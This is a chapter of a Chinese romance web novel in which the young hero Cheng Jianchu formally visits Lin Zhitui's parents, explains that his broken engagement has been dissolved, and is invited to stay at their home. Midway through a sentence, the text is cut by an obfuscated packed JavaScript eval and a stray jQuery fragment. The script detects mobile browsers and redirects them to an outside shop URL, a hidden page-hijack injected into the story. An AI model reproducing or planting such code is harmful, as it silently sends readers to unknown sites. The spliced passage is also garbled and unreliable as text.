林肃远今日旬修,从回来上京,他还没跟夫人一起出门逛逛,便想着今天和家人一起,去听听曲。
吃早饭时,林知退没和他们一起。林肃远问夫人:“阿知还没起?你早上去看过他没有?”
盛夫人有些无奈地看了他一眼,“他都那么大了,我总不能还当幼时那样寸步不离照看着。不过我瞧着,自从来了上京,他倒是同聿尧走得极近,估摸着今日,又要往聿尧那边去了。”
林肃远忍不住笑了:“找聿尧好啊,我这几日也听王临说起,他总见阿知往自己府上跑,也不知道是不是好事将近。”
“哪有那么快。”盛夫人轻轻说,“……而且就算是成亲,也得过了弱冠再说,我还舍不得阿知呢。”
“你方才才说孩子长大啦。”林肃远满眼笑着看自己夫人,“要真是和聿尧成了,那咱们两家离得也近,到时就在临街给他们置办个宅子,两个孩子想回家,走几步路就成。”
盛夫人筷子微微一顿,轻声道:“……老爷,你想得未免太远了。待会阿知若是过来,你万万不可与他说这些。倘若两个孩子只是投缘做伴,并无别的心思,你突然提起婚事,又平白惹得他不高兴。”
林肃远叹了口气:“好,好,我不说。”
“还有我听阿知说,淮晏前日回来了。他本就喜欢那孩子,频频与那边走动,也是解闷。”盛夫人示意侍女盛上热汤,轻轻放到林肃远面前,“阿知自小随我们辗转各处,身边从未有能长久相交的朋友。每次与人交好,我们就又要动身搬迁。我本来还担心来了上京,他无人陪伴,还好有聿尧和淮晏,我见着阿知高兴,心里也跟着高兴。”
林肃远慢慢点了点头,轻声说:“岍岍,你说得是。”
盛夫人笑了,“所以等下孩子来了,你就随他去,别总管着他。”
林肃远拿起汤匙,搅了搅碗里的汤,“我哪敢说啊,阿知大了,不像小时候那样听话,我实在怕他再离家出走——”
“孩子总是要长大的。”盛夫人握了握他的手,笑着说,“真的长不大,你又要忧心。”
林肃远点头:“也是。阿知已经很给我们省心了,前几天我当值,工部的李大人说起他家那个小儿子啊……”
两个人说起了其他人家的事,等饭吃过大半,林知退从外面走了进来,“爹,娘!”
盛夫人抬头看着他笑了:“醒了?今天怎么起得这样晚,往常这个时候,你不都出门去啦?”
林知退不好意思地嘿嘿笑着,坐在了饭桌前。他看了看林肃远:“今日爹旬修,所以我不出门了,留在家里陪陪你。”
林肃远心中高兴,吩咐人给林知退添置碗筷。“我还想着,一会儿和你娘出门听戏,你想不想听?”
林知退呃了一声,“去,去哪听啊?”
“外城那家戏楼近日来了名班,听说剧目极好。”林肃远说,“我本想请了他们来家中唱,但是你娘说想出门走走,咱们便去戏楼看也好。”
林知退结巴了一下,小声说:“我不喜欢看戏……”
“那你今日想做什么?”林肃远问,“要去找聿尧吗?”
盛夫人望了他一眼,林肃远从容如常,仿佛只是随口一问,脸上寻不出一丝异样。
林知退心中紧张,只能含糊应对:“我还没决定,等吃过饭了,我再想想。”
林肃远说好,也不追问,就吩咐下人将几样林知退爱吃的菜挪到他近前。夫妇二人已经吃得差不多,便安安静静坐着,慈爱地看着林知退吃。从举家迁到上京之后,他们难得有这样清闲独处的时光,恍惚间,仿佛又回到林知退小时候。
林知退吃得很慢,竖起耳朵偷偷听爹娘继续讲朝中大人的事。林肃远还说起了徐寰,林知退赶紧仔细听,爹低声说那老头近来性情暴躁,动辄动气,像是揣着一腔火气无处发泄,想来多半是为了幼子的婚事。如今上京早已传得沸沸扬扬,程家来上京找他算账,肯定是要退婚的。
林知退紧张得心怦怦跳,也不知道爹是不是故意在自己面前说起程见初。他假装不知情,还抬头问:“爹,程家来算什么账?”
“你会不知?”林肃远挑了挑眉,“你不是担心那位程——程……”
“程见初。”林知退小声说。
“对,程见初。”林肃远看了他一眼,“前些日子还闹着去青岑找人家,现在怎么又好像忘记这回事了。”
林知退面上嘿嘿讪笑,心里暗暗怨自己说谎都不会。他低头吃饭,心跳得更快了。
林肃远还想说什么,盛夫人轻轻抚上他的手,摇了摇头。林知退正思忖着怎么岔开话题,廊外忽然有下人匆匆入内禀报:“老爷,夫人,少爷,门外有人求见。”
林肃远抬眼问道:“嗯?来人留下名帖了吗?”
下人垂首回道:“那位公子递了名帖,还随行备了不少礼物,现下正在门外候着。”
他躬身把名帖递上,林肃远接过展开瞥了一眼,旋即啪地一声合上。盛夫人瞧出他神色有异,心里觉着奇怪,就接了过来:“老爷,是谁啊?”
她打开直接看到最下面,端端正正写着三个字:程见初。
盛夫人抬眼看向自己儿子,林知退原本正眼巴巴看着,见娘看过来,立刻心虚地移开目光。她原本想端着的,但实在没忍住,轻轻笑了,“……知奴儿,今日我是不能去戏园子了。”
林知退结结巴巴地说:“为,为什么啊?”
盛夫人瞧了瞧脸色难看的夫君,又看看一脸心虚的儿子,把名帖轻轻放在桌子上。
“还是瞧你爹有趣得多。”
林肃远重重地吭了一声。
·
程见初今日穿着一身月白绫布的长衫,衣料是春绸的,袖摆与襟边绣着极淡的云枝暗纹,显得淡雅了许多。林知退没见过他穿这身衣服,不住地偷偷看,又赶紧正襟危坐,显出自己全然不知的样子来。
程见初因为练武,往日从不佩戴饰物,今天却在腰间束了一条玄色玉带,还挂上了一枚墨玉佩,整个人看着文气沉静不少。因为还未及冠,他就把长发用玉簪半挽起来,余下青丝垂在肩后,脸边只留几缕碎发。林知退又忍不住偷偷看,心想今天的头发,肯定是王聿尧家的小丫头帮忙束起的吧,当真是好看。
盛夫人注意到他的目光,不由得轻轻咳了一声,林知退一惊,赶紧低下头去,不敢再盯着人看。
程见初脊背挺得很直,能看出来有些紧绷。他迈步上前,拱手深深一揖,朗声说道:“晚生程见初,拜见世伯,世伯母。”
林肃远神色淡淡的,抬手回道:“不必多礼,坐吧。”
程见初应了一声,侧身落座,坐到了林知退的对面。两个人都不敢看彼此,生怕忍不住笑出来,就一起抬头看林肃远和盛夫人,拼命想接下来该说些什么。
一旁候着的侍女给程见初倒茶,盛夫人端着茶盏,脸上笑意浅浅,不动声色地看着他。程见初出身江湖,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777960|205913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她本以为这人会带着几分草莽粗犷,却不想他容貌俊秀,言行彬彬有礼,与自己心中所想截然不同。盛夫人最是了解儿子,现在亲眼见到程见初,她总算明白为什么林知退倾心于他了。
林肃远一开始也没说话,但是就这样一味沉默终究不妥,最后还是率先开口:“……程少侠是哪里人士,不知今日登门,所为何事?”
程见初立刻又站起身,对着爹娘作揖:“世伯,世伯母,晚生是青岑人士,与林少爷在怀宁相识。这一路上多得公子相伴扶持,如今我身在上京,所以特地前来登门道谢,备了些许薄礼,聊表心意。”
林知退听得一愣一愣的,这些话不会是程见初背下来的吧?他们俩单独在一起的时候,程见初可从不会这样讲话。
盛夫人笑着对他抬抬手,“孩子,坐下说。你不必拘谨,我们先前也听知奴儿提起过你,今日总算得见,果真如他所言,是位气度不凡的少侠。”
程见初飞快地瞥了一眼林知退,垂眸回道:“世伯母,见初不敢当。”
林肃远脸上还是没有什么表情,他看了眼程见初,询问道:“青岑距上京路途遥远,程少侠不远千里入京,想来必有缘由,总不会单单只为看望小儿吧?”
林知退的心绷得紧紧的,只能捧起茶杯掩饰心情。无论如何,程见初与徐瑾之的婚约是绕不开的症结,二人先前商议许久,却始终找不到妥当的说辞。
“没关系,到时候我见机回话便是。”程见初安慰他,“你放宽心神,万事都有化解的法子。”
能有什么法子呢?现在爹果然问起了这件事,林知退抬眼望着对面那人,心跳得自己都能听见声音。
程见初拱手行礼,虽然面色微红,但声音依然坦荡:“不瞒伯父,晚辈身上牵扯一桩婚约纠葛,特地来上京处置。我心中挂念林公子,便想与他再见一面,此番能登府拜见,多谢世伯世伯母容留。”
林肃远没想到程见初会直接承认与徐瑾之的事。他皱了皱眉:“是与徐家小少爷的婚事吗?”
程见初微微低下头:“是。”
林肃远顿了顿,“……你二人的婚约还未解除,本该先登门与徐大人商议妥当,之后再做打算。如今你反倒先来见我,外人知晓,难免落人口实,不合礼法。”
程见初抬起头,望着林肃远,对他解释说:“世伯,晚辈已经与徐瑾之和离。我担忧此事会牵连林公子,所以把前事纠葛了结之后,才敢登门拜见的。”
林肃远挑了挑眉:“哦?已经和离?”
他沉吟半晌,脑中回想着近日徐寰种种行事。旁边盛夫人轻叹口气,柔声说道:“老爷何必深究,程少侠只是念着阿知才来做客,和离是他自家私事,咱们不该多置喙。”
林肃远一下子反应过来,他下意识把程见初当儿婿审视了。他清了清嗓子,神色立刻和气了许多:“啊……是我唐突了。知退有你这样的好友,我与夫人也很宽慰。少侠若是不急着回去,不妨在府上暂住几日,把这儿当成自己家就是。”
程见初还没等说话,一旁的林知退马上说:“那样最好了!不如就让初一住到我院中吧,那边还有两间空厢房呢!”
盛夫人看了他一眼,“你院中的厢房又小又暗,哪好给客人住。就住到东院来吧,我叫下人收拾一下,这边宽敞,院中还有池塘,程少侠一定喜欢。”
程见初很乖顺地回答:“晚辈全听世伯母安排。”
林知退开心地抿着嘴笑了。